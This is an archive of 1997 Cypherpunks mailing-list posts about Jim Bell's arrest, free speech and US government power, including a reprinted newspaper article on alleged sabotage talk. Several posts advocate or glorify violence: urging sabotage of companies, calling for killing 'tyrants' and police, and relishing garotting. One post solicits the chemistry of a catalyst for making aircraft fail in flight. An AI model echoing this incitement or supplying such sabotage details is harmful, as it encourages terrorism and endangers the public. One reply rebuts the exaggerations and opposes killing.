+> dug up of little Frieda slowly suffocating as the firestorms sucked the air
+> out of her underground shelter, or of little Hans screaming for his mother
+> as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
+> admitted to be a  "public demonstration" of allied willingness to destroy
+> civilians in what was primarily a "cultural" city, not a significant center
+> of military production.

+Why go so far back?  How many civilians were murdered by the U.S.
+gubmint in Korea, in Viet Nam, in Panama, in Iraq?
 ______________________________________________________________________

  Lord grant me the serenity to accept the things I cannot change;
    The courage to change the things I can;
      The weapons that make the difference;
        And the wisdom to hide the bodies of the people 
          I had to kill because they pissed me off.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


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From mf at mediafilter.org  Wed May 21 01:20:15 1997
From: mf at mediafilter.org (MediaFilter)
Date: Wed, 21 May 1997 01:20:15 -0700 (PDT)
Subject: Disneyfication, Privatization of the Public Domain...	Turn the Planet into a Strip-Mall and Theme Park.....
Message-ID: <1347936075-200645@MediaFilter.org>


Disneyfication, Privatization of the Public Domain...
Turn the Planet into a Strip-Mall and Theme Park.....

Hear the realaudio netcast of Infinity Factory
Hosted by Richard Metzger of Disinfo.com
talking with Paul Garrin about name.space
and the future of the net.

originally netcast live on May 11, 1997.


(this is a realaudio link, so be prepared...)
http://www.pseudo.com/archives/infinityMay11_1997_0848pm.ram

name.space:
http://name.space.xs2.net

DisInfo:
http://www.disinfo.com











From lucifer at dhp.com  Tue May 20 10:47:20 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 21 May 1997 01:47:20 +0800
Subject: PGP version 5 source code?
Message-ID: <199705201733.NAA22390@dhp.com>


Will PGP Inc make the source code for the new version of pgp 
available?













From tcmay at got.net  Tue May 20 10:53:12 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 01:53:12 +0800
Subject: The USA is the world's biggest terrorist state
In-Reply-To: 
Message-ID: 


At 8:23 AM -0800 5/20/97, Attila T. Hun wrote:

>    as to trivializing tim may as to wine and for his comment below on
>    OKC, if the gubmit becomes a terrorist state (and who is to deny
>    that it is not, and has not been this century), then the terrorist
>    much expect retaliation.

The United States of America sits astride the world, holding the riding
crop and ordering the other nations of the world around in various ways. It
sends troops to distant parts of the world. It even takes on the main
"peacekeeping" (meaning: choosing a faction and suppressing the other
factions) role in Yugoslavia...surely a European problem, if a problem at
all.

(I say let the Bosnians, Serbs, Croatians, Albanians, Macedonians, etc.
massacre each other. That my tax dollars, and American lives, are being
spent in this "Balkanized nonsurprise" are criminal. If infowar and
terrorism are needed to destabilize the U.S. Military-Industrial War
Machine, then I guess that's what's needed. Period.)

The USA is without any doubts the largest economic and political power. And
it uses threat of military intervention to influence other terrorist
states. It's military budget remains bloated far beyond any reasonable
response to realistic threats. It is, of course, the world's policeman.
Worse, the world's secret policeman. (Lest you doubt this, it trained, and
continues to train, the torturers in Africa and South America. It issued
the CIA manual on assassinations and torturings, and it taught several
armies how to encourage prisoners to talk by throwing some of them out of
helicopters. Now it is training the former KGB and related folks in how to
wage a War on Drugs and Civil Rights in their countries. I wonder if the
helicopter trick is still being taught?)


Meanwhile, the alleged civil rights and cyber liberties groups are arguing
"it's the best deal we can get" while dozens of new restrictions on speech
and encryption are being promulgated. And so on. (I could give a dozen
examples, from DiFi's "bomb-making instructions ban" to forcing the Playboy
Channel off cable systems until 10 p.m. to restrictions on speech about
what an acceptable employee applicant is (Hint: Don't say that Ebonics is
unacceptable, else face fines).

The only valid point of view is to reject all limits on basic rights. And
since mere rejection of the points of view of the NSA, EPIC, CIA, CPSR,
DIA, EFF, DEA, etc. is not enough, to sabotage companies which work with
these stooges.

(Many Cypherpunks are now working for these companies which have decided to
"play ball" with David Aaron, George Tenet, Louis Freeh, and the others. I
hope you are considering what options exist to undermine and sabotage such
efforts. The Cypherpunks meeting in March generated some good ideas.)

And one of our own is arrested on almost certainly trumped up charges
designed to play well in the media (botulism in the water, Sarin in the
air...they probably found some Loompanics and Paladin Press books on how to
make nerve gases and other poisons...freely available, and I have some
myself).


>    The US in this century, at one point or another in time, has
>    destabilized 90%+ of the world governments, including the Labour
>    Party in GB prior to Iron Maggie's rule (and if you want names of
>    the phony US Dept of State consular employees involved, a pointer
>    can be provided).

The United States of America is the world's leading terrorist state. From
mining harbors in countries with democratically elected governments to
financing the blowing up of airliners by dissident groups to assassinating
dozens of leaders of countries the USA wished to shape in different
directions, the USA is Terror State Numero Uno.

Destabilizing a terror state is, I think, a moral thing to do.



>    as for the great fairweather liberal bigot Blanc's passing it off
>    as tcm's drunken ramblings, I doubt it.  war is hell, and
>    "innocents" get wasted --but, a society at war has no innocents.
>    blow 'em all away.  scorched earth is inadequate; burnt earth is
>    more effective. if there are no prisoners, there are no
>    complainers.

As I said at the time, Blanc's cheap shot was an incoherent form of
criticism. As I write much the same things morning, noon, and night (check
the timings of my posts), either I'm drunk at all hours of the day, or
these are my overall views.

You folks can decide for yourselves.

I noticed with interest this morning that Peter Trei had an interesting
thought experiment for implementing a variant of assassination politics.
Interesting because not much more than a week or two ago Peter was making
the point that I seemed to have gone off the deep end, or at least was no
longer writing "thoughtful" essays and/or was not focussing on what he
wanted to read about (a hopeless task, of course, to tune one's writings to
the interests of others).

Peter has now thrown in with the "let's see how AP might work." His
variant, "Who do we want to see hit with a bus?," is of course essentially
identical to AP.

"Has Peter lost it with these rantings?"

And of course we have Declan McCullagh, a reasonable fellow, saying that
we'd better restrain ourselves or the government will do it for us.

(One wonders if the First Amendment is still being taught in journalism
school.)

Hey, maybe Swinestein will introduce a new law to stop discussions of
freedom of speech. "It Takes a Village," after all.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From jya at pipeline.com  Tue May 20 10:58:07 1997
From: jya at pipeline.com (John Young)
Date: Wed, 21 May 1997 01:58:07 +0800
Subject: Jim Bell 2
Message-ID: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>


   The Oregonian, May 20, 1997, Metro Section P-1:

   IRS says suspect discussed sabotage

      An affidavit says a Vancouver man arrested Friday talked of
      sabotaging Portland's 9-1-1 computer and Bull Run water

   By John Painter, Jr., of the Oregonian staff

   Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
   Revenue agents discussed sabotaging the computers in Portland's
   9-1-1 center and talked about using a botulism toxin to contaminate 
   the Bull Run water supply, a federal agent said Monday.

   James Dalton Bell, 38, appeared Monday afternoon in U.S. District
   Court in Tacoma and was accused in an 18-page affidavit of scheming
   to overthrow the U.S. government.

   U.S. Magistrate J. Kelly Arnold set Friday for a detention and
   preliminary hearing. The government has asked that Bell be held
   without bail because he is a danger to the community.

   Bell, who describes himself as a libertarian, has a history of tax
   disputes with the IRS, which says Bell "has a large, outstanding unpaid
   balance."

   Bell is the author of "Assassination Politics," a 10-part essay about a
   risk-free way of rewarding assassins who successfully kill designated
   public officials. The essay has circulated on the Internet.

   The strategy, which Bell says he wrote and posted for discussion,
   involves uses of encryption to predict and confirm assassinations and
   electronic digital cash to pay for the killings.

   Federal agents raided Bell's Vancouver home April 1.

   He is accused of obstructing government officers and employees and
   using false Social Security numbers. But government agents think he
   is far more dangerous than the charges suggest, the affidavit filed by
   IRS Inspector Phillip G. Scott said.

   Scott's affidavit said Bell, who has a chemistry degree from the
   Massaschusetts Institute of Technology, had discussions about using
   carbon fiber particles to attack computer systems with Greg Daly, a
   friend who is an electronics specialist overseeing Portland's 9-1-1
   communications center.

   "Daly stated that he and Bell had 'laughed' about attacking the 9-1-1
   center with fiber," the affidavit said.

   Daly also told IRS agents that he had hypothetical discussions with
   Bell about contaminating water supplies and about making botulism
   toxin from green beans, the affidavit said.

   In the April 17 and 18 interviews with IRS agents, Daly said that as part
   of his job, he "has keys and direct access to the Portland Bull Run
   water treatment facility."

   Daly said Monday that the conversations that he and Bell had were
   merely "intellectual fun-and-games discussions" between old friends
   who enjoy technical things.

   "There's a difference between reasonable freedom of speech and
   unreasonable probability of attack," Daly said. "Standing around and
   flapping our lips about how it would be funny is way different from
   even contemplating actual attack."

   Daly described his friend of 15 years as a "bit of an odd unit" but never
   dangerous and never serious about attacking the 9-1-1 systems or the
   Bull Run watershed.

   "I'd rat him out in a heartbeat for that," Daly said.

   Thursday, IRS agents searched the home of Robert East, a merchant
   radioman and a friend of Bell's. Among items seized was 3-foot length
   of carbon fiber.

   The affidavit said East told agents that he and Bell had discussed "the
   possibility of putting the fibers down the air vents of a federal building"
   to kill its computers and about using the fiber against the IRS.

   However, Bell has described himself as a "man of ideas, not action,"
   and East said Bell was a "talker, not a doer."

   [End]

   Thanks to John Painter.












From paul at fatmans.demon.co.uk  Tue May 20 11:15:34 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Wed, 21 May 1997 02:15:34 +0800
Subject: SIC SEMPER TYRANNIS
In-Reply-To: 
Message-ID: 




> (Sadly, we now have several hundred thousand tyrants, mostly in Washington
> and state capitals, who have richly earned this fate...something the
> Founders would be screaming for action about.)

People forget quickly. I honestly believe that today people not only do 
not realise what is happening in the world around them, they really do 
not care. Most people I know are content just to make a buck and get on 
with it, without giving a thought to the rights they lose every day. 

I`m sure that public opinion in the UK is more this way than it is in 
the US, I may be wrong, however, the fact that I was told by a member 
of my immediate family a few days ago "You should be put in a lunatic 
asylum" because of my political views does not leave me with a good 
feeling about the general state of the population at large, still, it 
does leave me with a good feeling when people tell me "you are a danger 
to society" as they do not realise the compliment they are giving me! 
I truly wish I was of strong enough stuff to constitute a real danger...
I can honestly say that most people I speak with on a day to day basis 
would brand me a loon if they ever got into a proper political discussion 
with me. This is, of course, a sad state of affairs.

> >The feds may not be aware that the discussions on this list are usually of
> >a theoretical nature. Perhaps they decided to go after the
> >"co-conspirators". Like the anarchists in California with their AR-15's who
> >have so many mags that they can't even  remember where they all are. :-)

Hmm, I don`t think this is really relevant though, it makes no difference 
whether the discussions are theoretical or practical, they are still 
valid discussions.

> I've since found a dozen or so of these clips. Circumstances have motivated
> me to look through some of my packed boxes.

I could not begin to aspire to your collection of rifles and other 
defensive weapons Tim, but I too have been placing keys to my gun cabinet 
and shells in convenient places for quick access at one of those "4am 
black clad ninja just burst through my front door" moments.

> >The fact that Jim is held _without bail_ would indicate to me that there is
> >more going on than might meet the eye.
> >
> 
> Indeed. Lock and load.

Quite, does anyone here have a copy of the warrant they can post? - If I 
recall it was left closed? - I only have snatches of messages which 
mentioned poisons, anything else of interest on the list?

> We talk about the topics of interest to us. If the media characterizes us
> as "crazies" or "militia members," or as "terrorists," this is just par for
> the course. If, however, police departments and intelligence agencies mark
> us for harassment, arrest, prosecution, forfeiture of assets, etc., then
> this is what guns are for.

I`m starting to believe this suicidal course of action is the only 
justified one under the circumstance, however, I have always found guns a 
little impersonal, and favour garotting or disemboweling. YMMV.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From tcmay at got.net  Tue May 20 12:01:26 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 03:01:26 +0800
Subject: Jim Bell 2
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: 


At 9:34 AM -0800 5/20/97, John Young wrote:
>   The Oregonian, May 20, 1997, Metro Section P-1:
>
>   IRS says suspect discussed sabotage
>
>      An affidavit says a Vancouver man arrested Friday talked of
>      sabotaging Portland's 9-1-1 computer and Bull Run water
>
>   By John Painter, Jr., of the Oregonian staff
>
>   Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>   Revenue agents discussed sabotaging the computers in Portland's
>   9-1-1 center and talked about using a botulism toxin to contaminate
>   the Bull Run water supply, a federal agent said Monday.

(It's hard for me to avoid sarcasm, by saying things like "Of course, talk
is now covered by the Safe Streets and Water Source Protection Act of
1997," but I will eschew such sarcasm and simply state the obvious.)

Nothing in the "Orgonian" (named after Reich's banned books--sorry, I
slipped) indicates anything more than _talk_ was ever involved. No bombs
went off, no water supplies were poisoned, and apparently no botulism was
cultured. The finding of a 3-foot carbon pole in the home of a radio
operator....such things are found in many places, and the nexus with a
conspiracy to actually do something is nonexistent.


>   He is accused of obstructing government officers and employees and
>   using false Social Security numbers. But government agents think he
>   is far more dangerous than the charges suggest, the affidavit filed by
>   IRS Inspector Phillip G. Scott said.

About these charges I can of course say nothing. (Though I note that _my_
SS card says quite clearly it is for tax and SS purposes ONLY, and is not
be used for identification. When I pointed this out down at the Department
of Motor Vehicles, I was met with a shrug and told that if I did not give
my SS number as ID number I would not get a registration tag, and that if I
persisted in arguing this at the counter that "security" would be called in
to have me removed or arrested or tortured or whatever. By the way, would
it be useful guerilla theater exercise to have our SS numbers tattooed on
our forearms?)


>
>   Scott's affidavit said Bell, who has a chemistry degree from the
>   Massaschusetts Institute of Technology, had discussions about using
>   carbon fiber particles to attack computer systems with Greg Daly, a
>   friend who is an electronics specialist overseeing Portland's 9-1-1
>   communications center.
>
>   "Daly stated that he and Bell had 'laughed' about attacking the 9-1-1
>   center with fiber," the affidavit said.

Who of us hasn't brainstormed about how to attack the security of a system,
or the security of a water supply? Who of us hasn't thought about how easy
it would be drop LSD or botulins in the water supplies of a major site? Is
this also called "contingency planning"? Or "tiger team analysis"?

It could be argued, and I hope it will be, that Bell was helping his friend
Daly improve the security of his computer installation.

(Not to mention the vastly more important argument to use: First Amendment
protection of speech. Conspiracy and RICO charges are hardly valid when
only speech is involved...I'm not a lawyer, but I believe there has to be a
realistic expectation that a crime is being planned to be carried out, with
some reasonable chance of being completed, before a "conspiracy" can be
charged. A few friends sitting around brainstorming about threats,
counterthreats, and possible attacks does not a conspiracy make.)


>   Daly also told IRS agents that he had hypothetical discussions with
>   Bell about contaminating water supplies and about making botulism
>   toxin from green beans, the affidavit said.

And?


>   In the April 17 and 18 interviews with IRS agents, Daly said that as part
>   of his job, he "has keys and direct access to the Portland Bull Run
>   water treatment facility."

And? (I can see scared officials firing Daly, unless he is protected by
other interventionist laws.)


>   Daly said Monday that the conversations that he and Bell had were
>   merely "intellectual fun-and-games discussions" between old friends
>   who enjoy technical things.
>
>   "There's a difference between reasonable freedom of speech and
>   unreasonable probability of attack," Daly said. "Standing around and
>   flapping our lips about how it would be funny is way different from
>   even contemplating actual attack."

Exactly. Seems some folks don't understand the First Amendment...this seems
to be endemic in America today, especially amongst public officials.


>   Thursday, IRS agents searched the home of Robert East, a merchant
>   radioman and a friend of Bell's. Among items seized was 3-foot length
>   of carbon fiber.

Gee, could this carbon fiber be involved in his radio work? Gee.

("The BATF who raided Tim May's compound reported finding suspicious books
describing biological warfare and a gas cylinder which could be used to
spread Sarin gas in an attack on the Bay Area Rapid Transit. Agents found a
message on his computer, dated May 20th, 1997, in which Sarin and BART were
mentioned.")



>   The affidavit said East told agents that he and Bell had discussed "the
>   possibility of putting the fibers down the air vents of a federal building"
>   to kill its computers and about using the fiber against the IRS.

Sounds exactly like the sort of "what-if" theorizing that all technical
people (and novelists, screenwriters, etc.) like to do. Also the staple of
the "Infowar" mailing lists, not to mention "rec.pyrotechnics" sorts of
newsgroups.

I rather doubt dropping a carbon fiber down an airshaft would do anything
to the computers, but, hey, it's a theory.

(I also don't see what disrupting a 911 computer for a few hours or days
would mean for any of Bell's assumed longterm goals, so I surmise that he
was indeed just playing with some "techie" ideas. And one can imagine the
911 folks thanking, or even paying, him for analyzing potential weaknesss
in their security. But I guess, as with Randall Schwartz, killing the
messenger remains the favored course of action.)


Free speech is under massive assalt in the Terror State of America.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From mpd at netcom.com  Tue May 20 12:50:32 1997
From: mpd at netcom.com (Mike Duvos)
Date: Wed, 21 May 1997 03:50:32 +0800
Subject: For Whom the Bell Tolls
Message-ID: <199705201934.MAA27619@netcom4.netcom.com>


The current troubles for Jim Bell, and the representation in
government affidavits that casual speculation with friends over
infrastructure vulnerabilities constituted some sort of
conspiracy to do harm, should make all Cypherpunks nervous.

Indeed, such discussions about vulnerabilities and risks have
been a central theme of this mailing list over the years.  I hope
I don't wake up tomorrow morning to headlines in the Seattle
Times reading "Atomic Force Microscope Central in Duvos Smartcard
Plot" or some equally silly thing, based on an out-of-context
grep of the Web archives.

It is unfortunate that in a country which advertises itself as
some sort of bastion of free speech, one must constantly guard
ones speech to make sure that it contains no snippets suitable
for an inflammatory sound byte on the evening news.

Just another of the many manifestations of "The Policeman
Inside."

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From trei at process.com  Tue May 20 12:53:58 1997
From: trei at process.com (Peter Trei)
Date: Wed, 21 May 1997 03:53:58 +0800
Subject: The USA is the world's biggest terrorist state
Message-ID: <199705201930.MAA08122@rigel.cyberpass.net>


Tim may wrote:
>[much over-the-top exaggeration of the eevull you-ess gubmint 
> deleted, then he gets personal:] 

> I noticed with interest this morning that Peter Trei had an interesting
> thought experiment for implementing a variant of assassination politics.
> Interesting because not much more than a week or two ago Peter was making
> the point that I seemed to have gone off the deep end, or at least was no
> longer writing "thoughtful" essays and/or was not focussing on what he
> wanted to read about (a hopeless task, of course, to tune one's writings to
> the interests of others).

> Peter has now thrown in with the "let's see how AP might work." His
> variant, "Who do we want to see hit with a bus?," is of course essentially
> identical to AP.

No, it is not. The above paragraph totally misconstrues what I posted, 
and I am (again) putting it into the record with this post that I 
oppose all forms of premeditated killing.

What I posted was an idea for a POLL, nothing more. There was no
suggestion that of any kind of action or incentive - no advocacy
of murder, no anonymous cash, no payoffs, nothing. This is NOT 
'implementing a variant of assassination politics', and I take 
strong exception to your implication that I would support such 
a thing.

I really hate it when you misread, misconstrue, and misquote 
other people. You really seem to have a very tenuous love of truth
and accuracy when falsehood will serve your purpose better (if 
you think that sounds like the tactics of a certain large 
organization you dislike, you're right.)

Let's take just one paragraph from your latest screed. Can you back
up all or even most of the points in it? I don't think so. You wrote:

>The United States of America is the world's leading terrorist state.

Matter of opinion. I suspect that Libya, Iraq, and Iran are better
candidates. If you include internal terrorism, add China, North 
Korea, and many others ahead of the US.

>From mining harbors in countries with democratically elected
>governments... 

I've got only a quibble with this one. We did mine Managua, ie one
harbor in one country. While this was clearly unacceptable behaviour,
it does demonstrate your tendency to play fast and loose with 
numbers.

>...to financing the blowing up of airliners by dissident
>groups 

Really? Which ones? Be specific. Which airlines, which flights?
What were the circumstances in each case? You're using plurals 
again, so you'd better have multiple instances.

>...to assassinating dozens of leaders of countries the USA wished
>to shape in different directions, the USA is Terror State Numero Uno.

Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
exec order forbidding attacks against heads of state?

Tim, can you back up your words with facts, or are your recent 
posts "... full of sound and fury, signifying nothing."?

There are sufficient *real* problems with US policy that 
your exaggerations are counter-productive.

Peter Trei
Disclaimer: My posts represent my own opinions, no one elses. 






From mpd at netcom.com  Tue May 20 12:59:53 1997
From: mpd at netcom.com (Mike Duvos)
Date: Wed, 21 May 1997 03:59:53 +0800
Subject: Metal Virus
Message-ID: <199705201937.MAA27992@netcom4.netcom.com>


With all this talk of germ warfare and carbon fiber attacks, I
started thinking of another useful technology which made its
appearance a number of years ago, and promptly vanished from
sight.

Not so long ago, some university scientists invented a catalyst
which, even in microscopic amounts, would prevent formation of
the contiguous oxide film which protects metals from rapidly
reacting with the oxygen in the air.

They called a press conference to demonstrate their new
invention, which was carried on CNN, and after placing one drop
of their magic solution on a metal plate, held it in front of the
cameras as white power erupted from various points on its surface
and it promptly crumbled to pieces.

Now I found this quite an interesting demonstration, and much to
my non-surprise, this invention was never mentioned in the media
again.

A few years later, in an article for Omni Magazine on
scientifically advanced technologies for knocking out critical
infrastructure, G. Gordon Liddy made mention of a "Classified
Liquid Metal Embrittlement Technology," in which a liquid
catalyst could be concealed in a object like a magic marker, and
applied in small amounts to structurally significant components
of aircraft, which would later undergo catastrophic structural
failure in fight.

This sounded to me a whole lot like the stuff the scientists had
shown on CNN in the press conference.

Anyone remember this?  Would any chemists in the audience care to
hazard a guess as to the chemical composition of said catalyst
and the mechanism of its interaction with the target to be
destroyed?

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From ericm at lne.com  Tue May 20 13:00:25 1997
From: ericm at lne.com (Eric Murray)
Date: Wed, 21 May 1997 04:00:25 +0800
Subject: Jim Bell 2
In-Reply-To: <1.5.4.32.19970520173416.008a2f4c@pop.pipeline.com>
Message-ID: <199705201930.MAA17981@slack.lne.com>


John Young writes:

Thanks for posting this.
 
>    The Oregonian, May 20, 1997, Metro Section P-1:
> 
>    IRS says suspect discussed sabotage
> 
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    By John Painter, Jr., of the Oregonian staff
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate 
>    the Bull Run water supply, a federal agent said Monday.
> 
>    James Dalton Bell, 38, appeared Monday afternoon in U.S. District
>    Court in Tacoma and was accused in an 18-page affidavit of scheming
>    to overthrow the U.S. government.


The _IRS_ can arrest people for 'scheming to overthrow the U.S. government' !?

I thought that was the FBIs job.  I'm sure they'd have wanted to be
in on it if he was as big a terrorist as they're making him out to be.
Maybe the FBI that the bulk of the charges are bogus and wanted nothing to
do with them, but the IRS went ahead anyhow to harass him and to
justify their earlier search.  Food for thought and grounds for
further research...



-- 
   Eric Murray  ericm at lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 






From mf at mediafilter.org  Wed May 21 04:05:50 1997
From: mf at mediafilter.org (MediaFilter)
Date: Wed, 21 May 1997 04:05:50 -0700 (PDT)
Subject: Disneyfication, Privatization of the Public Domain...	Turn the Planet into a Strip-Mall and Theme Park.....	Corection!
Message-ID: <1347929820-576932@MediaFilter.org>


Sorry if you received this twice!
the link to the realaudio has been corrected!



Disneyfication, Privatization of the Public Domain...
Turn the Planet into a Strip-Mall and Theme Park.....

Hear the realaudio netcast of Infinity Factory
Hosted by Richard Metzger of Disinfo.com
talking with Paul Garrin about name.space
and the future of the net.

originally netcast live on May 11, 1997.


(this is a realaudio link, so be prepared...)
http://www.pseudo.com/netcast/shows/infinity/archives/infinityMay11_1997_084
8pm.ram

name.space:
http://name.space.xs2.net

DisInfo:
http://www.disinfo.com











From tcmay at got.net  Tue May 20 13:20:28 1997
From: tcmay at got.net (Tim May)
Date: Wed, 21 May 1997 04:20:28 +0800
Subject: SIC SEMPER TYRANNIS
In-Reply-To: 
Message-ID: 


At 9:16 AM -0800 5/20/97, Paul Bradley wrote:

>People forget quickly. I honestly believe that today people not only do
>not realise what is happening in the world around them, they really do
>not care. Most people I know are content just to make a buck and get on
>with it, without giving a thought to the rights they lose every day.

Indeed, but the great bulk of people ("the masses") have almost never
cared. They are going about their daily lives, trying to earn a living, and
so on. That the distant government is suppressing others is usually of
little concern to them. Nearly all revolutions are initiated and led by
elites...I see no reason to expect this to different in "Techno-Revolution."

Also, the "boiling a frog slowly" metaphor comes to mind...most people have
little idea how the vise has tightened. And in the case of "gun rights,"
most Americans are apparently of the opinion that their lives will be safer
if all guns are banned.

(Which may be true, if _all_ guns were banned. Speaking hypothetically. And
not necessarily proven (knives are notoriously effective, too, so it's not
at all clear that violent deaths would diminish much.) But not all guns
could ever be banned, and criminals would then have a major advantage of
the defenseless. And cops would still have guns. And former KGB killers now
in the Witness Security Program would probably still have guns. And so on.
And there's the little matter of reimbursing folks like me for the value of
our guns, our reloading supplies, our gun magazines and books, and our
"invested time." In other words, they want to take my guns, acquired
legally, they'd better be prepared to remimburse me what I think all this
stuff is worth (which they won't), and guarantee that criminals won't have
guns (which they can't). This is all separate from the clear language of
the Second, of course. "When only cops have guns, how do you kill the cops
who need killing?" (As some surely do, as the various cases of justifiable
self-defense against cops, rogue or otherwise, make clear.)


>I`m sure that public opinion in the UK is more this way than it is in
>the US, I may be wrong, however, the fact that I was told by a member
>of my immediate family a few days ago "You should be put in a lunatic
>asylum" because of my political views does not leave me with a good
>feeling about the general state of the population at large, still, it
>does leave me with a good feeling when people tell me "you are a danger
>to society" as they do not realise the compliment they are giving me!
>I truly wish I was of strong enough stuff to constitute a real danger...
>I can honestly say that most people I speak with on a day to day basis
>would brand me a loon if they ever got into a proper political discussion
>with me. This is, of course, a sad state of affairs.

I don't know how it is the UK, but in the US it's fairly easy to have
someone committed "for psychiatric evaluation" (observation). A Santa Cruz
County Sherriff's Deputy told me once on the phone that my opinions could
indicate that I was of unstable mind...his clear hint to me was that he
could have me committed for a 48-hour stay in one of the local psychiatric
prisons^H^H^H^H^H^H hospitals. Why would he do this? Well, in California
one loses all rights to own guns for some period of time after such a
pyschiatric commitment, regardless of the final determination. (I don't
have a URL handy on this, but it's widely discussed in the guns rights
groups.)

Ditto for folks who have had restraining orders placed against them in
certain kinds of abuse cases...even if no determination of final guilt
and/or longterm threat was ever made. There are numerous cases where a
vengeful ex-wife charged she had been abused (maybe yes, maybe no) and a
court granted a restraining order against the husband. Poof, he loses his
guns and the right to buy any new ones for some number of years (15?).

(I'm a believer that basic constitutional rights should not be taken away,
even for convicted criminals, except insofar as the actual punishment
requires. Thus, an imprisoned man loses his rights to move freely, of
course, and perhaps rights related to this (gun ownership, obviously!). But
once released, he should not lose his voting rights (which happens to
convicted felons), gun ownership rights (ditto, for most felonies, as I
recall), and so on. What would we think if a released prisoner lost his
First Amendment rights? Or his Fourth, or Fifth? Etc.  (Don't laugh, many
of these rights are already lost. Some in the process of parole, some even
after parole ends.)

By the way, one of the advantages of the huge number of things which are
now felonies gives to the authorities is the ability to pile on a
horrendous number of charges, some of which may "stick." This gives
prosecutors bargaining power for pleas, so that they can get convictions
without length trials.

In the case of Bell, I suspect they'll hit him with so many charges that
he'll be cowed into making a deal. He'll probably do no jail time, beyond
his current and ongoing stay, but will have one or more felony convictions
on his record. He can then say goodbye to any guns he may have acquired
legally, and will lose his voting rights (not that he or they care about
this, I'm sure). He'll also be a more malleable citizen-unit, as subsequent
convictions woudl be dealt with more harshly. (California's "three strikes"
law is especially pernicious.)

(I'm not critiquing Bell here, just speculating on the likely outcome of
the case.)

>
>> >The feds may not be aware that the discussions on this list are usually of
>> >a theoretical nature. Perhaps they decided to go after the
>> >"co-conspirators". Like the anarchists in California with their AR-15's who
>> >have so many mags that they can't even  remember where they all are. :-)
>
>Hmm, I don`t think this is really relevant though, it makes no difference
>whether the discussions are theoretical or practical, they are still
>valid discussions.

I agree with this point. Lucky was wrong to imply there's a difference in
speech rights between "theoretical" and other forms of speech. A crime is a
crime, of course, but talking about desirable courses of action, political
outcomes, and so on is of course protected speech.

(Discussions which are actual criminal conspiracies is a touchy issue, and
is a marginal area of the law, as near as I can tell. But essentially all
discussions are protected unless strong evidence is presented that a crime
is being plotted, and even then the speech is usually protected. Discussing
tax evasion strategies, for example, has not been successfully prosecuted
(per se), in any cases I am familiar with. And as Duncan noted, even
sedition is hard to prove.)

>
>> I've since found a dozen or so of these clips. Circumstances have motivated
>> me to look through some of my packed boxes.
>
>I could not begin to aspire to your collection of rifles and other
>defensive weapons Tim, but I too have been placing keys to my gun cabinet
>and shells in convenient places for quick access at one of those "4am
>black clad ninja just burst through my front door" moments.

It's a sad state of affairs when the police increasingly resort to the 4
a.m. Nomex-hooded, no-warnings-issued SWAT-type raids. Readers may recall
the many stories of innocents killed when they were shocked out of deep
slumber by "flash-bangs" thrown into their bedrooms and the sudden
appearance of black-clad ninja raiders.

Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
growing pot on his ranch. He and his wife were startled by the ninjas
bursting into their bedroom. The doctor reached for a handgun in his
nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
raiders. The estate of the doctor is currently suing the LA County
Sheriff's Department and other agencies, but you know how those things go.
I know I shock a lot of people by saying this, but I think those involved
in the raid should be tried on murder charges and, if found guilty,
executed promptly. And if the court system won't do this, which it
obviously won't, then the alternative is .

(The Malibu case has been discussed extensively. See
http://www.calyx.com/~olsen/NORML/WEEKLY/95-07-18.html for one pointer. As
this article notes: "Moreover, the prospect of being able to seize valuable
property under civil forfeiture has created an incentive to seek out
marijuana cultivation.  This is believed to have been the reason for the
1992 raid on multimillionaire Donald Scott's estate near Malibu that
resulted in his being killed by police.  No marijuana was found. ")


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Tue May 20 13:37:50 1997
